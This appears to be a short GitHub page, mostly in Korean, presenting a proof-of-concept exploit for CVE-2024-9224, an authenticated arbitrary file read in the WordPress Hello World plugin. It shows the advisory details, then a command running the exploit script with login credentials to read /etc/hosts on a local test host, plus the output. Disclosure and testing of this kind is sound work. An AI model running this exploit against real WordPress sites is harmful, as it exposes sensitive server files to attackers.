randomrobbiebf/cve-2024-9224Hello World <= 2.1.1 - 인증된 (구독자+) 임의 파일 읽기
Hello World <= 2.1.1 - 인증된 (구독자+) 임의 파일 읽기
WordPress용 Hello World 플러그인은 2.1.1 버전을 포함한 모든 버전에서 hello_world_lyric() 함수를 통해 임의 파일 읽기(Arbitrary File Reading) 취약점에 노출됩니다. 이로 인해 구독자(subscriber) 수준 이상의 접근 권한을 가진 인증된 공격자가 서버에 있는 임의 파일의 내용을 읽을 수 있으며, 해당 파일에는 민감한 정보가 포함될 수 있습니다.
Published: 2024-09-30 00:00:00
CVE: CVE-2024-9224
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVSS Score: 6.5
Slugs: hello-world
텍스트 파일의 일부만 표시합니다.
python3 CVE-2024-9224.py -un user -p user --url http://kubernetes.docker.internal -f /etc/hosts
Vulnerability check: http://kubernetes.docker.internal
Logged in successfully.
Nonce value: 0dbe58cb8d
Extracted text: 127.0.0.1 localhost